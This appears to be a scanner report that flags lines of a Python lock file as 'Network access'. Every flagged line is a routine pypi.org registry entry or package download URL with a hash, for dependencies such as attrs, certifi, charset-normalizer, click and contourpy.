    ] sdist = { url = "https://files.pythonhosted.org/packages/90/fa/5c2be1f96dc179f83cdd3bb267edbd1f47d08f756785c016d5c2163901a7/asteroid-filterbanks-0.4.0.tar.gz", hash = "sha256:415f89d1dcf2b13b35f03f7a9370968ac4e6fa6800633c522dac992b283409b
  • Network accessline 113
    sdist = { url = "https://files.pythonhosted.org/packages/90/fa/5c2be1f96dc179f83cdd3bb267edbd1f47d08f756785c016d5c2163901a7/asteroid-filterbanks-0.4.0.tar.gz", hash = "sha256:415f89d1dcf2b13b35f03f7a9370968ac4e6fa6800633c522dac992b283409b9"
  • Network accessline 114
    wheels = [     { url = "https://files.pythonhosted.org/packages/c5/7c/83ff6046176a675e6a1e8aeefed8892cd97fe7c46af93cc540d1b24b8323/asteroid_filterbanks-0.4.0-py3-none-any.whl", hash = "sha256:4932ac8b6acc6e08fb87cbe8ece84215b5a74eee284fe83a
  • Network accessline 115
    { url = "https://files.pythonhosted.org/packages/c5/7c/83ff6046176a675e6a1e8aeefed8892cd97fe7c46af93cc540d1b24b8323/asteroid_filterbanks-0.4.0-py3-none-any.whl", hash = "sha256:4932ac8b6acc6e08fb87cbe8ece84215b5a74eee284fe83acf3540a72a02eaf
  • Network accessline 119
    name = "attrs" version = "26.1.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 120
    version = "26.1.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/9a/8e/82a0fe20a541c03148528be8cac2408564a6c9a0cc7e9171802bc1d26985/attrs-26.1.0.tar.gz", hash = "sha256:d03ceb89c
  • Network accessline 121
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 122
    sdist = { url = "https://files.pythonhosted.org/packages/9a/8e/82a0fe20a541c03148528be8cac2408564a6c9a0cc7e9171802bc1d26985/attrs-26.1.0.tar.gz", hash = "sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32", size = 95205
  • Network accessline 123
    wheels = [     { url = "https://files.pythonhosted.org/packages/64/b4/17d4b0b2a2dc85a6df63d1157e028ed19f90d4cd97c36717afef2bc2f395/attrs-26.1.0-py3-none-any.whl", hash = "sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac3
  • Network accessline 124
    { url = "https://files.pythonhosted.org/packages/64/b4/17d4b0b2a2dc85a6df63d1157e028ed19f90d4cd97c36717afef2bc2f395/attrs-26.1.0-py3-none-any.whl", hash = "sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309", size = 675
  • Network accessline 128
    name = "certifi" version = "2026.7.22" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 129
    version = "2026.7.22" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/a3/c2/24167ea9858356b47a87a50d39908bfdb72ceeefe0041586e704e5376b3a/certifi-2026.7.22.tar.gz", hash = "sha256:7
  • Network accessline 130
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 131
    sdist = { url = "https://files.pythonhosted.org/packages/a3/c2/24167ea9858356b47a87a50d39908bfdb72ceeefe0041586e704e5376b3a/certifi-2026.7.22.tar.gz", hash = "sha256:741e2c3b351ddf169a738da9f2c048608ff7f2c5cc02f1ebc6b118bb090d5d55", size = 
  • Network accessline 132
    wheels = [     { url = "https://files.pythonhosted.org/packages/0b/a7/71ac2cff56fec219ed242bb11b8efb69fcc4bec75db06fb7bfe35de520e6/certifi-2026.7.22-py3-none-any.whl", hash = "sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c99292
  • Network accessline 133
    { url = "https://files.pythonhosted.org/packages/0b/a7/71ac2cff56fec219ed242bb11b8efb69fcc4bec75db06fb7bfe35de520e6/certifi-2026.7.22-py3-none-any.whl", hash = "sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775", size 
  • Network accessline 137
    name = "charset-normalizer" version = "3.5.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 138
    version = "3.5.1" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/e5/3f/143b048436775b0f76ac3eec145c019e8173ccc2885c8f20319b996d5e83/charset_normalizer-3.5.1.tar.gz", hash = "sha25
  • Network accessline 139
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 140
    sdist = { url = "https://files.pythonhosted.org/packages/e5/3f/143b048436775b0f76ac3eec145c019e8173ccc2885c8f20319b996d5e83/charset_normalizer-3.5.1.tar.gz", hash = "sha256:6117b84ea48435e5356dc737f5121485c30920ba43375fa7b434fd753df0eac3", 
  • Network accessline 141
    wheels = [     { url = "https://files.pythonhosted.org/packages/bc/61/2cb6ad133dbbb449fa2d37ccae973232f4827e799af258d15e589a3d1e9e/charset_normalizer-3.5.1-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:4f298bdadb8f0b9e5672877f647d1b
  • Network accessline 142
    { url = "https://files.pythonhosted.org/packages/bc/61/2cb6ad133dbbb449fa2d37ccae973232f4827e799af258d15e589a3d1e9e/charset_normalizer-3.5.1-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:4f298bdadb8f0b9e5672877f647d1be9373ef5320c9e2
  • Network accessline 143
    { url = "https://files.pythonhosted.org/packages/18/57/a305c968be1ca13f3dd1b32f445877e97addf55d80b65c7cb35fac82b777/charset_normalizer-3.5.1-cp313-cp313-android_24_x86_64.whl", hash = "sha256:88ca277405c2d3b71c4e1c2ee0e7966e807bcba86a69d11e
  • Network accessline 144
    { url = "https://files.pythonhosted.org/packages/09/0a/d3646670292ce8d8f8cc11ac067d44885e697a5591f57a9221128da5e7b3/charset_normalizer-3.5.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:9362dd90aa7dab48c0054a21187791ccf05473f7db
  • Network accessline 145
    { url = "https://files.pythonhosted.org/packages/de/93/d51ec556e01042fed6f993ea859311bc7917b466684182fbbceb6ca24762/charset_normalizer-3.5.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:977cdbd483a9cff38179bea4fd754289a6f
  • Network accessline 146
    { url = "https://files.pythonhosted.org/packages/a4/a0/562247944386f7d4ef94467e84876600cc1e0f1b93239aaa9213d2bc3cbd/charset_normalizer-3.5.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e90251c0c7bdd54a100a0dce3c07b7e637278c93af
  • Network accessline 147
    { url = "https://files.pythonhosted.org/packages/31/e7/1d994be1b93d41e9502b8b0460eaa88a1dd8df335df415db87d6c3e91ab2/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha25
  • Network accessline 148
    { url = "https://files.pythonhosted.org/packages/09/53/27923ce5cc6cbccb832037b27dca98882d9c53e9b69e866bbbef4aae7fc8/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:d
  • Network accessline 149
    { url = "https://files.pythonhosted.org/packages/ce/48/5a97e84d63af1d55c07439cb80e56d99a8efb4295700eb4e18c0d1615d2c/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha25
  • Network accessline 150
    { url = "https://files.pythonhosted.org/packages/7a/c2/071575791dcc88316c0a9a65ce38897a82e4cfe4a325f0f7fe1b1ac47bcf/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:394f
  • Network accessline 151
    { url = "https://files.pythonhosted.org/packages/fb/af/63240b0c0248c075c2535a1f1bd992821d8251b9f173abc13329661d09e4/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6
  • Network accessline 152
    { url = "https://files.pythonhosted.org/packages/4d/66/70dfad64f15be09c15ccfee81330a7e515895dbe296dd23114e9a231268a/charset_normalizer-3.5.1-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fa48b1b63d639f9483e0
  • Network accessline 153
    { url = "https://files.pythonhosted.org/packages/c0/24/ef36367d38b9ddd4bccbf72888c342e8de1f5ae506fa0b2dcf970e2732a1/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c71fb0d56c920c269cd3e2e3fe7c610e3f1fdb21a6ce
  • Network accessline 154
    { url = "https://files.pythonhosted.org/packages/db/ab/55e683ba0fff2e43adafc10daa3001eac90fdaa419a97227d5a7067eedde/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:485a0d363cafefcd2538a73c7c838daa2035f09b2c9f9
  • Network accessline 155
    { url = "https://files.pythonhosted.org/packages/bd/67/0f40eaf8d1b6e7cf15e82382a2965efaca787fc1c2794b7021d37aaf5036/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:5c0ea61a470e070686aa30892fed79e297d2c8d0ab46
  • Network accessline 156
    { url = "https://files.pythonhosted.org/packages/5c/64/12b4c2a11ee8df4fcc518c78b0d93e3a92bd3d5253d1617ce74ff0e8c7ef/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:90b7481fb62fbe172c558bc6fd1c4c98d82004a54a75
  • Network accessline 157
    { url = "https://files.pythonhosted.org/packages/37/2e/651d910af6d0fba325eee1cda37ec5443462ed25360e666c144166eb6091/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:35fe081843b35aad20ffeccec3eeffbe637b15d14f3fb2
  • Network accessline 158
    { url = "https://files.pythonhosted.org/packages/90/c6/b09e05e6db7f64338e0dc067c79577b1138da86c1e38369096851d96be88/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fd0350afdc3aabd5576f60ea109228bd5538139713c7b
  • Network accessline 159
    { url = "https://files.pythonhosted.org/packages/76/4e/362d4f9fdcdf5556fb2aa3ce7d4a58ebce03ed1ff03aa1d9aca8d02f13f3/charset_normalizer-3.5.1-cp313-cp313-pyemscripten_2025_0_wasm32.whl", hash = "sha256:9d9a0dc7cbe9bec24c3f767c9122c41fe5a1bc4
  • Network accessline 160
    { url = "https://files.pythonhosted.org/packages/b4/d4/703be739b26acce318bd29eb3b25b7209e1b1f527f9eae3d1f1f01fdde2b/charset_normalizer-3.5.1-cp313-cp313-win32.whl", hash = "sha256:d63600d620ad0064c3a748b950ac5ea38a80190e5498532efefa4b7b3f1d
  • Network accessline 161
    { url = "https://files.pythonhosted.org/packages/8a/33/56d97ade41c8db611e727168c52ae46c9224c362ec28d4b65d7e9869e8da/charset_normalizer-3.5.1-cp313-cp313-win_amd64.whl", hash = "sha256:aea996a6aba25260827c9ea511d1addfde2da9eb686ac96183850908
  • Network accessline 162
    { url = "https://files.pythonhosted.org/packages/5b/75/5b20dd1e6573a01a08158fe104104fa2c8abf941745596954185726cd46c/charset_normalizer-3.5.1-cp313-cp313-win_arm64.whl", hash = "sha256:fd0a274c0e5f9a21565cd9d3dd749b61f96b7aa1e20a93aa1ba40295
  • Network accessline 163
    { url = "https://files.pythonhosted.org/packages/5b/97/fb4e82231aba271ffd775a1b4993b0defc4e3059f286ae41d9433409fe85/charset_normalizer-3.5.1-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:41876ee62a3dddf48ff1121ad8f0798032aa03f2fd35f
  • Network accessline 164
    { url = "https://files.pythonhosted.org/packages/9f/2f/fe3f187327aac18e2d54e9d2b08e15d27bf9b642d9e51c219f130fc34d1a/charset_normalizer-3.5.1-cp37-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:a6dac12
  • Network accessline 165
    { url = "https://files.pythonhosted.org/packages/d7/c7/9e48cee5c161fe24da823b61bf381921d77cb994a0a4de148e95018c1984/charset_normalizer-3.5.1-cp37-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:
  • Network accessline 166
    { url = "https://files.pythonhosted.org/packages/49/e0/716601f3cc69be7b198951150c75ead1ece33c3c8036ff6ffa46029659a0/charset_normalizer-3.5.1-cp37-abi3-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:343
  • Network accessline 167
    { url = "https://files.pythonhosted.org/packages/d3/05/71bfc5caa0abcc45aea1f6a4d50ac68e59605ddc7666fe8494f4cd229665/charset_normalizer-3.5.1-cp37-abi3-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:
  • Network accessline 168
    { url = "https://files.pythonhosted.org/packages/c3/92/de7e32ed05341e7a9c4c877c318418197b7f2d66a3b68d561bf2ac57ca3e/charset_normalizer-3.5.1-cp37-abi3-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b5997
  • Network accessline 169
    { url = "https://files.pythonhosted.org/packages/f5/7b/ade0a122600319dfa0b1000ab0f9731c94a817904cf3c5de408c73a4ede7/charset_normalizer-3.5.1-cp37-abi3-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b39b69b347e5e47a3b5b8c
  • Network accessline 170
    { url = "https://files.pythonhosted.org/packages/75/9c/019fbb9f4834491a160951349b1a3714439376f66e5f7cf18b4f18f0c7aa/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:a2028475ba855475b8b4d3cfeb4994269c967aea8b9892
  • Network accessline 171
    { url = "https://files.pythonhosted.org/packages/2b/b8/11d4840bfc99330cc7fbcc2681ee5a044553a6e77655508d8f9b2bff7b34/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:36047af20e17097c3bb9476c2b7655f2f7aa51322c0ba58
  • Network accessline 172
    { url = "https://files.pythonhosted.org/packages/18/96/2b3a21492d9f65171ac75d872f5018260013d00bfa0ff70ec9f179148cbd/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_ppc64le.whl", hash = "sha256:4c4fb141a727957c93edfe5c32a26ceb6b5f6461d67146
  • Network accessline 173
    { url = "https://files.pythonhosted.org/packages/d6/aa/a69a2028e8bd052476c245460ab19d7de595de084dd968f2d75cd50c3e25/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_riscv64.whl", hash = "sha256:2f293479cce755c75f1697e87c409b7ae4c555c7dfecb6
  • Network accessline 174
    { url = "https://files.pythonhosted.org/packages/35/8a/3d130aeabcaf3d2466af76b7b141c08d9e89c9016ab4b7cdd0f7dc2d1c62/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_s390x.whl", hash = "sha256:3588e376b3ea2eea84976f67273d679f229e24c66dce7b82
  • Network accessline 175
    { url = "https://files.pythonhosted.org/packages/80/c2/a7379b840292d0c1ab9fbd17d1f3967aa81794dc95bc74be8999d7fedcf7/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:e199fb99720074809a7720f1c0b4d919eea8b87e88713e0
  • Network accessline 176
    { url = "https://files.pythonhosted.org/packages/01/65/d43b714731bb2f40d4053dfa00ecfc1c5a301f8e3316c5db3a09af59fe94/charset_normalizer-3.5.1-cp37-abi3-win32.whl", hash = "sha256:dd732602a7009217f658d5863d12d79d373a4de0eebc111094bcdd3bb8e0a6
  • Network accessline 177
    { url = "https://files.pythonhosted.org/packages/35/4f/b911ed898b26a09789eba9c9200c999aff6c61b4bafaf4838e56d1a1e1a3/charset_normalizer-3.5.1-cp37-abi3-win_amd64.whl", hash = "sha256:70055ff39b97c99e7ae40ea3e393fb62aa2e44dbd9b29f8d14f42fb002
  • Network accessline 178
    { url = "https://files.pythonhosted.org/packages/f0/a7/920baf467bfd9bf689f3b318340f37aee4572a71f162bd8db51da55ba4fa/charset_normalizer-3.5.1-cp37-abi3-win_arm64.whl", hash = "sha256:87e4f41d375c0b9be2fb5251aee4b8a689169e134535aed81bf085c3b6
  • Network accessline 179
    { url = "https://files.pythonhosted.org/packages/cc/61/d01fc49b8dea277640b55a9e15960dbca9fdc8c9fde18e572d39c59f4019/charset_normalizer-3.5.1-py3-none-any.whl", hash = "sha256:6df0ec430f9a831772c23ca5a224cba36517a58a84bb32c32bb59a9fa67c47f6"
  • Network accessline 183
    name = "click" version = "8.5.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 184
    version = "8.5.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/c7/0e/7fa0ef50764b67090eca4114772a2abf8b6148198475e54c660b97caeee6/click-8.5.0.tar.gz", hash = "sha256:ba0d2089de7
  • Network accessline 185
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 186
    sdist = { url = "https://files.pythonhosted.org/packages/c7/0e/7fa0ef50764b67090eca4114772a2abf8b6148198475e54c660b97caeee6/click-8.5.0.tar.gz", hash = "sha256:ba0d2089de75ea0310e2dde03160e6ca10009947fb95a182f9b54021bb272e34", size = 382235
  • Network accessline 187
    wheels = [     { url = "https://files.pythonhosted.org/packages/58/50/6c0d534c5f134586a8e1ba4e330569e32f057e33372ae556463212fb4cd3/click-8.5.0-py3-none-any.whl", hash = "sha256:255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee36
  • Network accessline 188
    { url = "https://files.pythonhosted.org/packages/58/50/6c0d534c5f134586a8e1ba4e330569e32f057e33372ae556463212fb4cd3/click-8.5.0-py3-none-any.whl", hash = "sha256:255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee360", size = 1252
  • Network accessline 192
    name = "colorama" version = "0.4.6" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 193
    version = "0.4.6" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5c
  • Network accessline 194
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 195
    sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 276
  • Network accessline 196
    wheels = [     { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57a
  • Network accessline 197
    { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size
  • Network accessline 201
    name = "colorlog" version = "6.12.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 202
    version = "6.12.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 203
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 205
    { name = "colorama", marker = "sys_platform == 'win32'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/8c/55/ba79756cb90c8d69d599d57785398ac87bba7b19c80e87f4e8a562197c93/colorlog-6.12.0.tar.gz", hash = "sha256:2a7924c1dadf18b
  • Network accessline 206
    ] sdist = { url = "https://files.pythonhosted.org/packages/8c/55/ba79756cb90c8d69d599d57785398ac87bba7b19c80e87f4e8a562197c93/colorlog-6.12.0.tar.gz", hash = "sha256:2a7924c1dadf18b22a0eb8b06d1c7b01d5341707ec1641eb6fcc4fde0c3e8e5f", size = 
  • Network accessline 207
    sdist = { url = "https://files.pythonhosted.org/packages/8c/55/ba79756cb90c8d69d599d57785398ac87bba7b19c80e87f4e8a562197c93/colorlog-6.12.0.tar.gz", hash = "sha256:2a7924c1dadf18b22a0eb8b06d1c7b01d5341707ec1641eb6fcc4fde0c3e8e5f", size = 18
  • Network accessline 208
    wheels = [     { url = "https://files.pythonhosted.org/packages/d4/19/0b6647bf5e331521e55d2b63bfbdc210bd9cd605189273f03614a05f702d/colorlog-6.12.0-py3-none-any.whl", hash = "sha256:30d392604e9110045a2c2aeefc27d7a017abbab63f3a8aee594eac0801d
  • Network accessline 209
    { url = "https://files.pythonhosted.org/packages/d4/19/0b6647bf5e331521e55d2b63bfbdc210bd9cd605189273f03614a05f702d/colorlog-6.12.0-py3-none-any.whl", hash = "sha256:30d392604e9110045a2c2aeefc27d7a017abbab63f3a8aee594eac0801df784e", size = 
  • Network accessline 213
    name = "contourpy" version = "1.3.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 214
    version = "1.3.3" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 215
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 217
    { name = "numpy" }, ] sdist = { url = "https://files.pythonhosted.org/packages/58/01/1253e6698a07380cd31a736d248a3f2a50a7c88779a1813da27503cadc2a/contourpy-1.3.3.tar.gz", hash = "sha256:083e12155b210502d0bca491432bb04d56dc3432f95a979b429f28
  • Network accessline 218
    ] sdist = { url = "https://files.pythonhosted.org/packages/58/01/1253e6698a07380cd31a736d248a3f2a50a7c88779a1813da27503cadc2a/contourpy-1.3.3.tar.gz", hash = "sha256:083e12155b210502d0bca491432bb04d56dc3432f95a979b429f2848c3dbe880", size = 
  • Network accessline 219
    sdist = { url = "https://files.pythonhosted.org/packages/58/01/1253e6698a07380cd31a736d248a3f2a50a7c88779a1813da27503cadc2a/contourpy-1.3.3.tar.gz", hash = "sha256:083e12155b210502d0bca491432bb04d56dc3432f95a979b429f2848c3dbe880", size = 13
  • Network accessline 220
    wheels = [     { url = "https://files.pythonhosted.org/packages/68/35/0167aad910bbdb9599272bd96d01a9ec6852f36b9455cf2ca67bd4cc2d23/contourpy-1.3.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:177fb367556747a686509d6fef71d221a4b198a3
  • Network accessline 221
    { url = "https://files.pythonhosted.org/packages/68/35/0167aad910bbdb9599272bd96d01a9ec6852f36b9455cf2ca67bd4cc2d23/contourpy-1.3.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:177fb367556747a686509d6fef71d221a4b198a3905fe824430e5ea
  • Network accessline 222
    { url = "https://files.pythonhosted.org/packages/96/e4/7adcd9c8362745b2210728f209bfbcf7d91ba868a2c5f40d8b58f54c509b/contourpy-1.3.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d002b6f00d73d69333dac9d0b8d5e84d9724ff9ef044fd63c5986e62b
  • Network accessline 223
    { url = "https://files.pythonhosted.org/packages/73/23/90e31ceeed1de63058a02cb04b12f2de4b40e3bef5e082a7c18d9c8ae281/contourpy-1.3.3-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:348ac1f5d4f1d66d3322420f01d42
  • Network accessline 224
    { url = "https://files.pythonhosted.org/packages/ed/93/b43d8acbe67392e659e1d984700e79eb67e2acb2bd7f62012b583a7f1b55/contourpy-1.3.3-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:655456777ff65c2c548b7c454af9c
  • Network accessline 225
    { url = "https://files.pythonhosted.org/packages/46/3b/bec82a3ea06f66711520f75a40c8fc0b113b2a75edb36aa633eb11c4f50f/contourpy-1.3.3-cp313-cp313-manylinux_2_26_s390x.manylinux_2_28_s390x.whl", hash = "sha256:644a6853d15b2512d67881586bd03f462
  • Network accessline 226
    { url = "https://files.pythonhosted.org/packages/4b/32/e0f13a1c5b0f8572d0ec6ae2f6c677b7991fafd95da523159c19eff0696a/contourpy-1.3.3-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4debd64f124ca62069f313a9cb86656
  • Network accessline 227
    { url = "https://files.pythonhosted.org/packages/33/71/e2a7945b7de4e58af42d708a219f3b2f4cff7386e6b6ab0a0fa0033c49a9/contourpy-1.3.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a15459b0f4615b00bbd1e91f1b9e19b7e63aea7483d03d804186f
  • Network accessline 228
    { url = "https://files.pythonhosted.org/packages/12/fc/4e87ac754220ccc0e807284f88e943d6d43b43843614f0a8afa469801db0/contourpy-1.3.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ca0fdcd73925568ca027e0b17ab07aad764be4706d0a925b89227e
  • Network accessline 229
    { url = "https://files.pythonhosted.org/packages/a6/2e/adc197a37443f934594112222ac1aa7dc9a98faf9c3842884df9a9d8751d/contourpy-1.3.3-cp313-cp313-win32.whl", hash = "sha256:b20c7c9a3bf701366556e1b1984ed2d0cedf999903c51311417cf5f591d8c78d", si
  • Network accessline 230
    { url = "https://files.pythonhosted.org/packages/18/0b/0098c214843213759692cc638fce7de5c289200a830e5035d1791d7a2338/contourpy-1.3.3-cp313-cp313-win_amd64.whl", hash = "sha256:1cadd8b8969f060ba45ed7c1b714fe69185812ab43bd6b86a9123fe8f99c3263"
  • Network accessline 231
    { url = "https://files.pythonhosted.org/packages/8a/9a/2f6024a0c5995243cd63afdeb3651c984f0d2bc727fd98066d40e141ad73/contourpy-1.3.3-cp313-cp313-win_arm64.whl", hash = "sha256:fd914713266421b7536de2bfa8181aa8c699432b6763a0ea64195ebe28bff6a9"
  • Network accessline 232
    { url = "https://files.pythonhosted.org/packages/c0/b3/f8a1a86bd3298513f500e5b1f5fd92b69896449f6cab6a146a5d52715479/contourpy-1.3.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:88df9880d507169449d434c293467418b9f6cbe82edd19284aa040
  • Network accessline 233
    { url = "https://files.pythonhosted.org/packages/3f/11/4780db94ae62fc0c2053909b65dc3246bd7cecfc4f8a20d957ad43aa4ad8/contourpy-1.3.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:d06bb1f751ba5d417047db62bca3c8fde202b8c11fb50742ab3ab962
  • Network accessline 234
    { url = "https://files.pythonhosted.org/packages/ae/15/e59f5f3ffdd6f3d4daa3e47114c53daabcb18574a26c21f03dc9e4e42ff0/contourpy-1.3.3-cp313-cp313t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e4e6b05a45525357e382909a4c16
  • Network accessline 235
    { url = "https://files.pythonhosted.org/packages/0f/81/03b45cfad088e4770b1dcf72ea78d3802d04200009fb364d18a493857210/contourpy-1.3.3-cp313-cp313t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ab3074b48c4e2cf1a960e6bbeb7f
  • Network accessline 236
    { url = "https://files.pythonhosted.org/packages/0c/ba/49923366492ffbdd4486e970d421b289a670ae8cf539c1ea9a09822b371a/contourpy-1.3.3-cp313-cp313t-manylinux_2_26_s390x.manylinux_2_28_s390x.whl", hash = "sha256:6c3d53c796f8647d6deb1abe867daeb6
  • Network accessline 237
    { url = "https://files.pythonhosted.org/packages/9f/52/5b00ea89525f8f143651f9f03a0df371d3cbd2fccd21ca9b768c7a6500c2/contourpy-1.3.3-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:50ed930df7289ff2a8d7afeb9603f8
  • Network accessline 238
    { url = "https://files.pythonhosted.org/packages/32/1d/a209ec1a3a3452d490f6b14dd92e72280c99ae3d1e73da74f8277d4ee08f/contourpy-1.3.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:4feffb6537d64b84877da813a5c30f1422ea5739566abf0bd180
  • Network accessline 239
    { url = "https://files.pythonhosted.org/packages/bc/9e/46f0e8ebdd884ca0e8877e46a3f4e633f6c9c8c4f3f6e72be3fe075994aa/contourpy-1.3.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:2b7e9480ffe2b0cd2e787e4df64270e3a0440d9db8dc823312e2c
  • Network accessline 240
    { url = "https://files.pythonhosted.org/packages/b9/70/f308384a3ae9cd2209e0849f33c913f658d3326900d0ff5d378d6a1422d2/contourpy-1.3.3-cp313-cp313t-win32.whl", hash = "sha256:283edd842a01e3dcd435b1c5116798d661378d83d36d337b8dde1d16a5fc9ba3", s
  • Network accessline 241
    { url = "https://files.pythonhosted.org/packages/b2/dd/880f890a6663b84d9e34a6f88cded89d78f0091e0045a284427cb6b18521/contourpy-1.3.3-cp313-cp313t-win_amd64.whl", hash = "sha256:87acf5963fc2b34825e5b6b048f40e3635dd547f590b04d2ab317c2619ef7ae8
  • Network accessline 242
    { url = "https://files.pythonhosted.org/packages/80/99/2adc7d8ffead633234817ef8e9a87115c8a11927a94478f6bb3d3f4d4f7d/contourpy-1.3.3-cp313-cp313t-win_arm64.whl", hash = "sha256:3c30273eb2a55024ff31ba7d052dde990d7d8e5450f4bbb6e913558b3d6c2301
  • Network accessline 246
    name = "cuda-bindings" version = "13.3.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 247
    version = "13.3.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 248
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 251
